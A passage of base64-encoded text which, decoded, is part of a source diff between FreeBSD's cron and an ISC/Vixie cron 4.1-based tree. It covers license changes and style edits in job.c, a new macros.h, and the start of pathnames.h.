cmVlYnNkX2Nyb24vY3Jvbi9qb2IuYwotLS0gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL2pv Yi5jCTIwMTQtMDEtMTYgMjE6NDM6NDkuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24v Y3Jvbi9qb2IuYwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3MzQ0NDgxMiArMDIwMApAQCAtMSw3NiAr MSw3MyBAQAogLyogQ29weXJpZ2h0IDE5ODgsMTk5MCwxOTkzLDE5OTQgYnkgUGF1bCBWaXhpZQog ICogQWxsIHJpZ2h0cyByZXNlcnZlZAorICovCisKKy8qCisgKiBDb3B5cmlnaHQgKGMpIDIwMDQg YnkgSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtLCBJbmMuICgiSVNDIikKKyAqIENvcHlyaWdo dCAoYykgMTk5NywyMDAwIGJ5IEludGVybmV0IFNvZnR3YXJlIENvbnNvcnRpdW0sIEluYy4KICAq Ci0gKiBEaXN0cmlidXRlIGZyZWVseSwgZXhjZXB0OiBkb24ndCByZW1vdmUgbXkgbmFtZSBmcm9t IHRoZSBzb3VyY2Ugb3IKLSAqIGRvY3VtZW50YXRpb24gKGRvbid0IHRha2UgY3JlZGl0IGZvciBt eSB3b3JrKSwgbWFyayB5b3VyIGNoYW5nZXMgKGRvbid0Ci0gKiBnZXQgbWUgYmxhbWVkIGZvciB5 b3VyIHBvc3NpYmxlIGJ1Z3MpLCBkb24ndCBhbHRlciBvciByZW1vdmUgdGhpcwotICogbm90aWNl LiAgTWF5IGJlIHNvbGQgaWYgYnVpbGRhYmxlIHNvdXJjZSBpcyBwcm92aWRlZCB0byBidXllci4g IE5vCi0gKiB3YXJyYW50ZWUgb2YgYW55IGtpbmQsIGV4cHJlc3Mgb3IgaW1wbGllZCwgaXMgaW5j bHVkZWQgd2l0aCB0aGlzCi0gKiBzb2Z0d2FyZTsgdXNlIGF0IHlvdXIgb3duIHJpc2ssIHJlc3Bv bnNpYmlsaXR5IGZvciBkYW1hZ2VzIChpZiBhbnkpIHRvCi0gKiBhbnlvbmUgcmVzdWx0aW5nIGZy b20gdGhlIHVzZSBvZiB0aGlzIHNvZnR3YXJlIHJlc3RzIGVudGlyZWx5IHdpdGggdGhlCi0gKiB1 c2VyLgorICogUGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlmeSwgYW5kIGRpc3RyaWJ1dGUg dGhpcyBzb2Z0d2FyZSBmb3IgYW55CisgKiBwdXJwb3NlIHdpdGggb3Igd2l0aG91dCBmZWUgaXMg aGVyZWJ5IGdyYW50ZWQsIHByb3ZpZGVkIHRoYXQgdGhlIGFib3ZlCisgKiBjb3B5cmlnaHQgbm90 aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIGFwcGVhciBpbiBhbGwgY29waWVzLgogICoK LSAqIFNlbmQgYnVnIHJlcG9ydHMsIGJ1ZyBmaXhlcywgZW5oYW5jZW1lbnRzLCByZXF1ZXN0cywg ZmxhbWVzLCBldGMuLCBhbmQKLSAqIEknbGwgdHJ5IHRvIGtlZXAgYSB2ZXJzaW9uIHVwIHRvIGRh dGUuICBJIGNhbiBiZSByZWFjaGVkIGFzIGZvbGxvd3M6Ci0gKiBQYXVsIFZpeGllICAgICAgICAg IDxwYXVsQHZpeC5jb20+ICAgICAgICAgIHV1bmV0IWRlY3dybCF2aXhpZSFwYXVsCisgKiBUSEUg U09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiBBTkQgSVNDIERJU0NMQUlNUyBBTEwgV0FSUkFO VElFUworICogV0lUSCBSRUdBUkQgVE8gVEhJUyBTT0ZUV0FSRSBJTkNMVURJTkcgQUxMIElNUExJ RUQgV0FSUkFOVElFUyBPRgorICogTUVSQ0hBTlRBQklMSVRZIEFORCBGSVRORVNTLiAgSU4gTk8g RVZFTlQgU0hBTEwgSVNDIEJFIExJQUJMRSBGT1IKKyAqIEFOWSBTUEVDSUFMLCBESVJFQ1QsIElO RElSRUNULCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMgT1IgQU5ZIERBTUFHRVMKKyAqIFdIQVRT T0VWRVIgUkVTVUxUSU5HIEZST00gTE9TUyBPRiBVU0UsIERBVEEgT1IgUFJPRklUUywgV0hFVEhF UiBJTiBBTgorICogQUNUSU9OIE9GIENPTlRSQUNULCBORUdMSUdFTkNFIE9SIE9USEVSIFRPUlRJ T1VTIEFDVElPTiwgQVJJU0lORyBPVVQKKyAqIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUg VVNFIE9SIFBFUkZPUk1BTkNFIE9GIFRISVMgU09GVFdBUkUuCiAgKi8KIAotI2lmICFkZWZpbmVk KGxpbnQpICYmICFkZWZpbmVkKExJTlQpCi1zdGF0aWMgY29uc3QgY2hhciByY3NpZFtdID0KLSAg IiRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL2Nyb24vam9iLmMgNTA0Nzkg MTk5OS0wOC0yOCAwMTozNTo1OVogcGV0ZXIgJCI7Ci0jZW5kaWYKLQorLy8jaWYgIWRlZmluZWQo bGludCkgJiYgIWRlZmluZWQoTElOVCkKKy8vc3RhdGljIGNoYXIgcmNzaWRbXSA9ICIkSWQ6IGpv Yi5jLHYgMS42IDIwMDQvMDEvMjMgMTg6NTY6NDMgdml4aWUgRXhwICQiOworLy8jZW5kaWYKIAog I2luY2x1ZGUgImNyb24uaCIKIAotCiB0eXBlZGVmCXN0cnVjdCBfam9iIHsKIAlzdHJ1Y3QgX2pv YgkqbmV4dDsKIAllbnRyeQkJKmU7CiAJdXNlcgkJKnU7CiB9IGpvYjsKIAotCiBzdGF0aWMgam9i CSpqaGVhZCA9IE5VTEwsICpqdGFpbCA9IE5VTEw7CiAKLQogdm9pZAotam9iX2FkZChlLCB1KQot CXJlZ2lzdGVyIGVudHJ5ICplOwotCXJlZ2lzdGVyIHVzZXIgKnU7Ci17Ci0JcmVnaXN0ZXIgam9i ICpqOworam9iX2FkZChlbnRyeSAqZSwgdXNlciAqdSkgeworCWpvYiAqajsKIAogCS8qIGlmIGFs cmVhZHkgb24gcXVldWUsIGtlZXAgZ29pbmcgKi8KLQlmb3IgKGo9amhlYWQ7IGo7IGo9ai0+bmV4 dCkKLQkJaWYgKGotPmUgPT0gZSAmJiBqLT51ID09IHUpIHsgcmV0dXJuOyB9CisJZm9yIChqID0g amhlYWQ7IGogIT0gTlVMTDsgaiA9IGotPm5leHQpCisJCWlmIChqLT5lID09IGUgJiYgai0+dSA9 PSB1KQorCQkJcmV0dXJuOwogCiAJLyogYnVpbGQgYSBqb2IgcXVldWUgZWxlbWVudCAqLwotCWlm ICgoaiA9IChqb2IqKW1hbGxvYyhzaXplb2Yoam9iKSkpID09IE5VTEwpCisJaWYgKChqID0gKGpv YiAqKW1hbGxvYyhzaXplb2Yoam9iKSkpID09IE5VTEwpCiAJCXJldHVybjsKLQlqLT5uZXh0ID0g KGpvYiopIE5VTEw7CisJai0+bmV4dCA9IE5VTEw7CiAJai0+ZSA9IGU7CiAJai0+dSA9IHU7CiAK IAkvKiBhZGQgaXQgdG8gdGhlIHRhaWwgKi8KLQlpZiAoIWpoZWFkKSB7IGpoZWFkPWo7IH0KLQll bHNlIHsganRhaWwtPm5leHQ9ajsgfQorCWlmIChqaGVhZCA9PSBOVUxMKQorCQlqaGVhZCA9IGo7 CisJZWxzZQorCQlqdGFpbC0+bmV4dCA9IGo7CiAJanRhaWwgPSBqOwogfQogCi0KIGludAotam9i X3J1bnF1ZXVlKCkKLXsKLQlyZWdpc3RlciBqb2IJKmosICpqbjsKLQlyZWdpc3RlciBpbnQJcnVu ID0gMDsKK2pvYl9ydW5xdWV1ZSh2b2lkKSB7CisJam9iICpqLCAqam47CisJaW50IHJ1biA9IDA7 CiAKLQlmb3IgKGo9amhlYWQ7IGo7IGo9am4pIHsKKwlmb3IgKGogPSBqaGVhZDsgajsgaiA9IGpu KSB7CiAJCWRvX2NvbW1hbmQoai0+ZSwgai0+dSk7CiAJCWpuID0gai0+bmV4dDsKIAkJZnJlZShq KTsKIAkJcnVuKys7CiAJfQogCWpoZWFkID0ganRhaWwgPSBOVUxMOwotCXJldHVybiBydW47CisJ cmV0dXJuIChydW4pOwogfQpkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL21h Y3Jvcy5oIGZyZWVic2RfY3Jvbi9jcm9uL21hY3Jvcy5oCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9j cm9uL2Nyb24vbWFjcm9zLmgJMTk3MC0wMS0wMSAwMTowMDowMC4wMDAwMDAwMDAgKzAxMDAKKysr IGZyZWVic2RfY3Jvbi9jcm9uL21hY3Jvcy5oCTIwMTQtMDYtMTEgMTY6NDI6NTUuMjczNDQ0ODEy ICswMjAwCkBAIC0wLDAgKzEsMTM2IEBACisvKgorICogJElkOiBtYWNyb3MuaCx2IDEuOSAyMDA0 LzAxLzIzIDE4OjU2OjQzIHZpeGllIEV4cCAkCisgKi8KKworLyoKKyAqIENvcHlyaWdodCAoYykg MjAwNCBieSBJbnRlcm5ldCBTeXN0ZW1zIENvbnNvcnRpdW0sIEluYy4gKCJJU0MiKQorICogQ29w eXJpZ2h0IChjKSAxOTk3LDIwMDAgYnkgSW50ZXJuZXQgU29mdHdhcmUgQ29uc29ydGl1bSwgSW5j LgorICoKKyAqIFBlcm1pc3Npb24gdG8gdXNlLCBjb3B5LCBtb2RpZnksIGFuZCBkaXN0cmlidXRl IHRoaXMgc29mdHdhcmUgZm9yIGFueQorICogcHVycG9zZSB3aXRoIG9yIHdpdGhvdXQgZmVlIGlz IGhlcmVieSBncmFudGVkLCBwcm92aWRlZCB0aGF0IHRoZSBhYm92ZQorICogY29weXJpZ2h0IG5v dGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBhcHBlYXIgaW4gYWxsIGNvcGllcy4KKyAq CisgKiBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiBBTkQgSVNDIERJU0NMQUlNUyBB TEwgV0FSUkFOVElFUworICogV0lUSCBSRUdBUkQgVE8gVEhJUyBTT0ZUV0FSRSBJTkNMVURJTkcg QUxMIElNUExJRUQgV0FSUkFOVElFUyBPRgorICogTUVSQ0hBTlRBQklMSVRZIEFORCBGSVRORVNT LiAgSU4gTk8gRVZFTlQgU0hBTEwgSVNDIEJFIExJQUJMRSBGT1IKKyAqIEFOWSBTUEVDSUFMLCBE SVJFQ1QsIElORElSRUNULCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMgT1IgQU5ZIERBTUFHRVMK KyAqIFdIQVRTT0VWRVIgUkVTVUxUSU5HIEZST00gTE9TUyBPRiBVU0UsIERBVEEgT1IgUFJPRklU UywgV0hFVEhFUiBJTiBBTgorICogQUNUSU9OIE9GIENPTlRSQUNULCBORUdMSUdFTkNFIE9SIE9U SEVSIFRPUlRJT1VTIEFDVElPTiwgQVJJU0lORyBPVVQKKyAqIE9GIE9SIElOIENPTk5FQ1RJT04g V0lUSCBUSEUgVVNFIE9SIFBFUkZPUk1BTkNFIE9GIFRISVMgU09GVFdBUkUuCisgKi8KKworCS8q IHRoZXNlIGFyZSByZWFsbHkgaW1tdXRhYmxlLCBhbmQgYXJlCisJICogICBkZWZpbmVkIGZvciBz eW1ib2xpYyBjb252ZW5pZW5jZSBvbmx5CisJICogVFJVRSwgRkFMU0UsIGFuZCBFUlIgbXVzdCBi ZSBkaXN0aW5jdAorCSAqIEVSUiBtdXN0IGJlIDwgT0suCisJICovCisjZGVmaW5lIFRSVUUJCTEK KyNkZWZpbmUgRkFMU0UJCTAKKwkvKiBzeXN0ZW0gY2FsbHMgcmV0dXJuIHRoaXMgb24gc3VjY2Vz cyAqLworI2RlZmluZSBPSwkJMAorCS8qICAgb3IgdGhpcyBvbiBlcnJvciAqLworI2RlZmluZSBF UlIJCSgtMSkKKworCS8qIHR1cm4gdGhpcyBvbiB0byBnZXQgJy14JyBjb2RlICovCisjaWZuZGVm IERFQlVHR0lORworI2RlZmluZSBERUJVR0dJTkcJRkFMU0UKKyNlbmRpZgorCisjZGVmaW5lCUlO SVRfUElECTEJLyogcGFyZW50IG9mIG9ycGhhbnMgKi8KKyNkZWZpbmUgUkVBRF9QSVBFCTAJLyog d2hpY2ggZW5kIG9mIGEgcGlwZSBwYWlyIGRvIHlvdSByZWFkPyAqLworI2RlZmluZSBXUklURV9Q SVBFCTEJLyogICBvciB3cml0ZSB0bz8gKi8KKyNkZWZpbmUgU1RESU4JCTAJLyogd2hhdCBpcyBz dGRpbidzIGZpbGUgZGVzY3JpcHRvcj8gKi8KKyNkZWZpbmUgU1RET1VUCQkxCS8qICAgc3Rkb3V0 J3M/ICovCisjZGVmaW5lIFNUREVSUgkJMgkvKiAgIHN0ZGVycidzPyAqLworI2RlZmluZSBFUlJP Ul9FWElUCTEJLyogZXhpdCgpIHdpdGggdGhpcyB3aWxsIHNjYXJlIHRoZSBzaGVsbCAqLworI2Rl ZmluZQlPS19FWElUCQkwCS8qIGV4aXQoKSB3aXRoIHRoaXMgaXMgY29uc2lkZXJlZCAnbm9ybWFs JyAqLworI2RlZmluZQlNQVhfRk5BTUUJMTAwCS8qIG1heCBsZW5ndGggb2YgaW50ZXJuYWxseSBn ZW5lcmF0ZWQgZm4gKi8KKyNkZWZpbmUJTUFYX0NPTU1BTkQJMTAwMAkvKiBtYXggbGVuZ3RoIG9m IGludGVybmFsbHkgZ2VuZXJhdGVkIGNtZCAqLworI2RlZmluZQlNQVhfRU5WU1RSCTEwMDAJLyog bWF4IGxlbmd0aCBvZiBlbnZ2YXI9dmFsdWVcMCBzdHJpbmdzICovCisjZGVmaW5lCU1BWF9URU1Q U1RSCTEwMAkvKiBvYnZpb3VzICovCisjZGVmaW5lCU1BWF9VTkFNRQkzMwkvKiBtYXggbGVuZ3Ro IG9mIHVzZXJuYW1lLCBzaG91bGQgYmUgb3ZlcmtpbGwgKi8KKyNkZWZpbmUJUk9PVF9VSUQJMAkv KiBkb24ndCBjaGFuZ2UgdGhpcywgaXQgcmVhbGx5IG11c3QgYmUgcm9vdCAqLworI2RlZmluZQlS T09UX1VTRVIJInJvb3QiCS8qIGRpdHRvICovCisKKwkJCQkvKiBOT1RFOiB0aGVzZSBjb3JyZXNw b25kIHRvIERlYnVnRmxhZ05hbWVzLAorCQkJCSAqCWRlZmluZWQgYmVsb3cuCisJCQkJICovCisj ZGVmaW5lCURFWFQJCTB4MDAwMQkvKiBleHRlbmQgZmxhZyBmb3Igb3RoZXIgZGVidWcgbWFza3Mg Ki8KKyNkZWZpbmUJRFNDSAkJMHgwMDAyCS8qIHNjaGVkdWxpbmcgZGVidWcgbWFzayAqLworI2Rl ZmluZQlEUFJPQwkJMHgwMDA0CS8qIHByb2Nlc3MgY29udHJvbCBkZWJ1ZyBtYXNrICovCisjZGVm aW5lCURQQVJTCQkweDAwMDgJLyogcGFyc2luZyBkZWJ1ZyBtYXNrICovCisjZGVmaW5lCURMT0FE CQkweDAwMTAJLyogZGF0YWJhc2UgbG9hZGluZyBkZWJ1ZyBtYXNrICovCisjZGVmaW5lCURNSVND CQkweDAwMjAJLyogbWlzYyBkZWJ1ZyBtYXNrICovCisjZGVmaW5lCURURVNUCQkweDAwNDAJLyog dGVzdCBtb2RlOiBkb24ndCBleGVjdXRlIGFueSBjb21tYW5kcyAqLworCisjZGVmaW5lCVBQQ19O VUxMCSgoY29uc3QgY2hhciAqKilOVUxMKQorCisjaWZuZGVmIE1BWEhPU1ROQU1FTEVOCisjZGVm aW5lIE1BWEhPU1ROQU1FTEVOIDY0CisjZW5kaWYKKworI2RlZmluZQlTa2lwX0JsYW5rcyhjLCBm KSBcCisJCQl3aGlsZSAoYyA9PSAnXHQnIHx8IGMgPT0gJyAnKSBcCisJCQkJYyA9IGdldF9jaGFy KGYpOworCisjZGVmaW5lCVNraXBfTm9uYmxhbmtzKGMsIGYpIFwKKwkJCXdoaWxlIChjIT0nXHQn ICYmIGMhPScgJyAmJiBjIT0nXG4nICYmIGMgIT0gRU9GKSBcCisJCQkJYyA9IGdldF9jaGFyKGYp OworCisjaWYgREVCVUdHSU5HCisjIGRlZmluZSBEZWJ1ZyhtYXNrLCBtZXNzYWdlKSBcCisJCQlp ZiAoKERlYnVnRmxhZ3MgJiAobWFzaykpICE9IDApIFwKKwkJCQlwcmludGYgbWVzc2FnZTsKKyNl bHNlIC8qICFERUJVR0dJTkcgKi8KKyMgZGVmaW5lIERlYnVnKG1hc2ssIG1lc3NhZ2UpIFwKKwkJ CTsKKyNlbmRpZiAvKiBERUJVR0dJTkcgKi8KKworI2RlZmluZQlNa1VwcGVyKGNoKQkoaXNsb3dl cihjaCkgPyB0b3VwcGVyKGNoKSA6IGNoKQorI2RlZmluZQlTZXRfTGluZU51bShsbikJe0RlYnVn KERQQVJTfERFWFQsKCJsaW5lbnVtPSVkXG4iLGxuKSk7IFwKKwkJCSBMaW5lTnVtYmVyID0gbG47 IFwKKwkJCX0KKworI2lmZGVmIEhBVkVfVE1fR01UT0ZGCisjZGVmaW5lCWdldF9nbXRvZmYoYywg dCkJKCh0KS0+dG1fZ210b2ZmKQorI2VuZGlmCisKKyNkZWZpbmUJU0VDT05EU19QRVJfTUlOVVRF CTYwCisjZGVmaW5lCVNFQ09ORFNfUEVSX0hPVVIJMzYwMAorCisjZGVmaW5lIEZJUlNUX1NFQ09O RCAgICAwCisjZGVmaW5lIExBU1RfU0VDT05EICAgICA1OQorI2RlZmluZSBTRUNPTkRfQ09VTlQg KExBU1RfU0VDT05EIC0gRklSU1RfU0VDT05EICsgMSkKKworI2RlZmluZQlGSVJTVF9NSU5VVEUJ MAorI2RlZmluZQlMQVNUX01JTlVURQk1OQorI2RlZmluZQlNSU5VVEVfQ09VTlQJKExBU1RfTUlO VVRFIC0gRklSU1RfTUlOVVRFICsgMSkKKworI2RlZmluZQlGSVJTVF9IT1VSCTAKKyNkZWZpbmUJ TEFTVF9IT1VSCTIzCisjZGVmaW5lCUhPVVJfQ09VTlQJKExBU1RfSE9VUiAtIEZJUlNUX0hPVVIg KyAxKQorCisjZGVmaW5lCUZJUlNUX0RPTQkxCisjZGVmaW5lCUxBU1RfRE9NCTMxCisjZGVmaW5l CURPTV9DT1VOVAkoTEFTVF9ET00gLSBGSVJTVF9ET00gKyAxKQorCisjZGVmaW5lCUZJUlNUX01P TlRICTEKKyNkZWZpbmUJTEFTVF9NT05USAkxMgorI2RlZmluZQlNT05USF9DT1VOVAkoTEFTVF9N T05USCAtIEZJUlNUX01PTlRIICsgMSkKKworLyogbm90ZSBvbiBET1c6IDAgYW5kIDcgYXJlIGJv dGggU3VuZGF5LCBmb3IgY29tcGF0aWJpbGl0eSByZWFzb25zLiAqLworI2RlZmluZQlGSVJTVF9E T1cJMAorI2RlZmluZQlMQVNUX0RPVwk3CisjZGVmaW5lCURPV19DT1VOVAkoTEFTVF9ET1cgLSBG SVJTVF9ET1cgKyAxKQorCisvKgorICogQmVjYXVzZSBjcm9udGFiL2F0IGZpbGVzIG1heSBiZSBv d25lZCBieSB0aGVpciByZXNwZWN0aXZlIHVzZXJzIHdlCisgKiB0YWtlIGV4dHJlbWUgY2FyZSBp biBvcGVuaW5nIHRoZW0uICBJZiB0aGUgT1MgbGFja3MgdGhlIE9fTk9GT0xMT1cKKyAqIHdlIHdp bGwganVzdCBoYXZlIHRvIGxpdmUgd2l0aG91dCBpdC4gIEluIG9yZGVyIGZvciB0aGlzIHRvIGJl IGFuCisgKiBpc3N1ZSBhbiBhdHRhY2tlciB3b3VsZCBoYXZlIHRvIHN1YnZlcnQgZ3JvdXAgQ1JP Tl9HUk9VUC4KKyAqLworI2lmbmRlZiBPX05PRk9MTE9XCisjZGVmaW5lIE9fTk9GT0xMT1cJMAor I2VuZGlmCisKKyNkZWZpbmUgICAgICAgIFJFTE9BRF9DUk9OICAgICAweDIKZGlmZiAtcnVOIC91 c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi9wYXRobmFtZXMuaCBmcmVlYnNkX2Nyb24vY3Jvbi9w YXRobmFtZXMuaAotLS0gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL3BhdGhuYW1lcy5oCTIw MTQtMDEtMTYgMjE6NDM6NDkuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vY3Jvbi9w YXRobmFtZXMuaAkyMDE0LTA2LTExIDE2OjQyOjU1LjI3MzQ0NDgxMiArMDIwMApAQCAtMSwzMSAr MSwzOCBAQAogLyogQ29weXJpZ2h0IDE5OTMsMTk5NCBieSBQYXVsIFZpeGllCiAgKiBBbGwgcmln aHRzIHJlc2VydmVkCisgKi8KKworLyoKKyAqIENvcHlyaWdodCAoYykgMjAwNCBieSBJbnRlcm5l dCBTeXN0ZW1zIENvbnNvcnRpdW0sIEluYy4gKCJJU0MiKQorICogQ29weXJpZ2h0IChjKSAxOTk3 LDIwMDAgYnkgSW50ZXJuZXQgU29mdHdhcmUgQ29uc29ydGl1bSwgSW5jLgogICoKLSAqIERpc3Ry aWJ1dGUgZnJlZWx5LCBleGNlcHQ6IGRvbid0IHJlbW92ZSBteSBuYW1lIGZyb20gdGhlIHNvdXJj ZSBvcgotICogZG9jdW1lbnRhdGlvbiAoZG9uJ3QgdGFrZSBjcmVkaXQgZm9yIG15IHdvcmspLCBt YXJrIHlvdXIgY2hhbmdlcyAoZG9uJ3QKLSAqIGdldCBtZSBibGFtZWQgZm9yIHlvdXIgcG9zc2li bGUgYnVncyksIGRvbid0IGFsdGVyIG9yIHJlbW92ZSB0aGlzCi0gKiBub3RpY2UuICBNYXkgYmUg c29sZCBpZiBidWlsZGFibGUgc291cmNlIGlzIHByb3ZpZGVkIHRvIGJ1eWVyLiAgTm8KLSAqIHdh cnJhbnRlZSBvZiBhbnkga2luZCwgZXhwcmVzcyBvciBpbXBsaWVkLCBpcyBpbmNsdWRlZCB3aXRo IHRoaXMKLSAqIHNvZnR3YXJlOyB1c2UgYXQgeW91ciBvd24gcmlzaywgcmVzcG9uc2liaWxpdHkg Zm9yIGRhbWFnZXMgKGlmIGFueSkgdG8KLSAqIGFueW9uZSByZXN1bHRpbmcgZnJvbSB0aGUgdXNl IG9mIHRoaXMgc29mdHdhcmUgcmVzdHMgZW50aXJlbHkgd2l0aCB0aGUKLSAqIHVzZXIuCisgKiBQ ZXJtaXNzaW9uIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBhbmQgZGlzdHJpYnV0ZSB0aGlzIHNvZnR3 YXJlIGZvciBhbnkKKyAqIHB1cnBvc2Ugd2l0aCBvciB3aXRob3V0IGZlZSBpcyBoZXJlYnkgZ3Jh bnRlZCwgcHJvdmlkZWQgdGhhdCB0aGUgYWJvdmUKKyAqIGNvcHlyaWdodCBub3RpY2UgYW5kIHRo aXMgcGVybWlzc2lvbiBub3RpY2UgYXBwZWFyIGluIGFsbCBjb3BpZXMuCiAgKgotICogU2VuZCBi dWcgcmVwb3J0cywgYnVnIGZpeGVzLCBlbmhhbmNlbWVudHMsIHJlcXVlc3RzLCBmbGFtZXMsIGV0 Yy4sIGFuZAotICogSSdsbCB0cnkgdG8ga2VlcCBhIHZlcnNpb24gdXAgdG8gZGF0ZS4gIEkgY2Fu IGJlIHJlYWNoZWQgYXMgZm9sbG93czoKLSAqIFBhdWwgVml4aWUgICAgICAgICAgPHBhdWxAdml4 LmNvbT4gICAgICAgICAgdXVuZXQhZGVjd3JsIXZpeGllIXBhdWwKKyAqIFRIRSBTT0ZUV0FSRSBJ UyBQUk9WSURFRCAiQVMgSVMiIEFORCBJU0MgRElTQ0xBSU1TIEFMTCBXQVJSQU5USUVTCisgKiBX SVRIIFJFR0FSRCBUTyBUSElTIFNPRlRXQVJFIElOQ0xVRElORyBBTEwgSU1QTElFRCBXQVJSQU5U SUVTIE9GCisgKiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MuICBJTiBOTyBFVkVOVCBTSEFM TCBJU0MgQkUgTElBQkxFIEZPUgorICogQU5ZIFNQRUNJQUwsIERJUkVDVCwgSU5ESVJFQ1QsIE9S IENPTlNFUVVFTlRJQUwgREFNQUdFUyBPUiBBTlkgREFNQUdFUworICogV0hBVFNPRVZFUiBSRVNV TFRJTkcgRlJPTSBMT1NTIE9GIFVTRSwgREFUQSBPUiBQUk9GSVRTLCBXSEVUSEVSIElOIEFOCisg KiBBQ1RJT04gT0YgQ09OVFJBQ1QsIE5FR0xJR0VOQ0UgT1IgT1RIRVIgVE9SVElPVVMgQUNUSU9O LCBBUklTSU5HIE9VVAorICogT0YgT1IgSU4gQ09OTkVDVElPTiBXSVRIIFRIRSBVU0UgT1IgUEVS Rk9STUFOQ0UgT0YgVEhJUyBTT0ZUV0FSRS4KICAqLwogCiAvKgotICogJEZyZWVCU0Q6IHJlbGVh c2UvMTAuMC4wL3Vzci5zYmluL2Nyb24vY3Jvbi9wYXRobmFtZXMuaCA1MDQ3OSAxOTk5LTA4LTI4 IDAxOjM1OjU5WiBwZXRlciAkCisgKiAkSWQ6IHBhdGhuYW1lcy5oLHYgMS45IDIwMDQvMDEvMjMg MTg6NTY6NDMgdml4aWUgRXhwICQKICAqLwogCisjaWZuZGVmIF9QQVRITkFNRVNfSF8KKyNkZWZp bmUgX1BBVEhOQU1FU19IXworCiAjaWYgKGRlZmluZWQoQlNEKSkgJiYgKEJTRCA+PSAxOTkxMDMp IHx8IGRlZmluZWQoX19saW51eCkgfHwgZGVmaW5lZChBSVgpCiAjIGluY2x1ZGUgPHBhdGhzLmg+ CiAjZW5kaWYgLypCU0QqLwogCiAjaWZuZGVmIENST05ESVIKLQkJCS8qIENST05ESVIgaXMgd2hl cmUgY3JvbmQoOCkgYW5kIGNyb250YWIoMSkgYm90aCBjaGRpcgotCQkJICogdG87IFNQT09MX0RJ UiwgQUxMT1dfRklMRSwgREVOWV9GSUxFLCBhbmQgTE9HX0ZJTEUKKwkJCS8qIENST05ESVIgaXMg d2hlcmUgY3Jvbig4KSBhbmQgY3JvbnRhYigxKSBib3RoIGNoZGlyCisJCQkgKiB0bzsgU1BPT0xf RElSLCBDUk9OX0FMTE9XLCBDUk9OX0RFTlksIGFuZCBMT0dfRklMRQogCQkJICogYXJlIGFsbCBy ZWxhdGl2ZSB0byB0aGlzIGRpcmVjdG9yeS4KIAkJCSAqLwogI2RlZmluZSBDUk9ORElSCQkiL3Zh ci9jcm9uIgpAQCAtMzQsMjQgKzQxLDI5IEBACiAJCQkvKiBTUE9PTERJUiBpcyB3aGVyZSB0aGUg Y3JvbnRhYnMgbGl2ZS4KIAkJCSAqIFRoaXMgZGlyZWN0b3J5IHdpbGwgaGF2ZSBpdHMgbW9kdGlt ZSB1cGRhdGVkCiAJCQkgKiB3aGVuZXZlciBjcm9udGFiKDEpIGNoYW5nZXMgYSBjcm9udGFiOyB0 aGlzIGlzCi0JCQkgKiB0aGUgc2lnbmFsIGZvciBjcm9uZCg4KSB0byBsb29rIGF0IGVhY2ggaW5k aXZpZHVhbAorCQkJICogdGhlIHNpZ25hbCBmb3IgY3Jvbig4KSB0byBsb29rIGF0IGVhY2ggaW5k aXZpZHVhbAogCQkJICogY3JvbnRhYiBmaWxlIGFuZCByZWxvYWQgdGhvc2Ugd2hvc2UgbW9kdGlt ZXMgYXJlCiAJCQkgKiBuZXdlciB0aGFuIHRoZXkgd2VyZSBsYXN0IHRpbWUgYXJvdW5kIChvciB3 aGljaAogCQkJICogZGlkbid0IGV4aXN0IGxhc3QgdGltZSBhcm91bmQuLi4pCiAJCQkgKi8KICNk ZWZpbmUgU1BPT0xfRElSCSJ0YWJzIgogCi0JCQkvKiB1bmRlZmluaW5nIHRoZXNlIHR1cm5zIG9m ZiB0aGVpciBmZWF0dXJlcy4gIG5vdGUKLQkJCSAqIHRoYXQgQUxMT1dfRklMRSBhbmQgREVOWV9G SUxFIG11c3QgYm90aCBiZSBkZWZpbmVkCi0JCQkgKiBpbiBvcmRlciB0byBlbmFibGUgdGhlIGFs bG93L2RlbnkgY29kZS4gIElmIG5laXRoZXIKLQkJCSAqIExPR19GSUxFIG9yIFNZU0xPRyBpcyBk ZWZpbmVkLCB3ZSBkb24ndCBsb2cuICBJZgotCQkJICogYm90aCBhcmUgZGVmaW5lZCwgd2UgbG9n IGJvdGggd2F5cy4KLQkJCSAqLwotI2RlZmluZQlBTExPV19GSUxFCSJhbGxvdyIJCS8qLSovCi0j ZGVmaW5lIERFTllfRklMRQkiZGVueSIJCS8qLSovCi0vKiNkZWZpbmUgTE9HX0ZJTEUgICAgICAg ICJsb2ciKi8gICAgICAgICAgIC8qLSovCisJCQkvKiBjcm9uIGFsbG93L2RlbnkgZmlsZS4gIEF0 IGxlYXN0IGNyb24uZGVueSBtdXN0CisJCQkgKiBleGlzdCBmb3Igb3JkaW5hcnkgdXNlcnMgdG8g cnVuIGNyb250YWIuCisJCQkgKi8KKyNkZWZpbmUJQUxMT1dfRklMRQkiYWxsb3ciCisjZGVmaW5l CURFTllfRklMRQkiZGVueSIKKworCQkJLyogdW5kZWZpbmluZyB0aGlzIHR1cm5zIG9mZiBsb2dn aW5nIHRvIGEgZmlsZS4gIElmCisJCQkgKiBuZWl0aGVyIExPR19GSUxFIG9yIFNZU0xPRyBpcyBk ZWZpbmVkLCB3ZSBkb24ndCBsb2cuCisJCQkgKiBJZiBib3RoIGFyZSBkZWZpbmVkLCB3ZSBsb2cg Ym90aCB3YXlzLiAgTm90ZSB0aGF0IGlmCisJCQkgKiBMT0dfQ1JPTiBpcyBkZWZpbmVkIGJ5IDxz 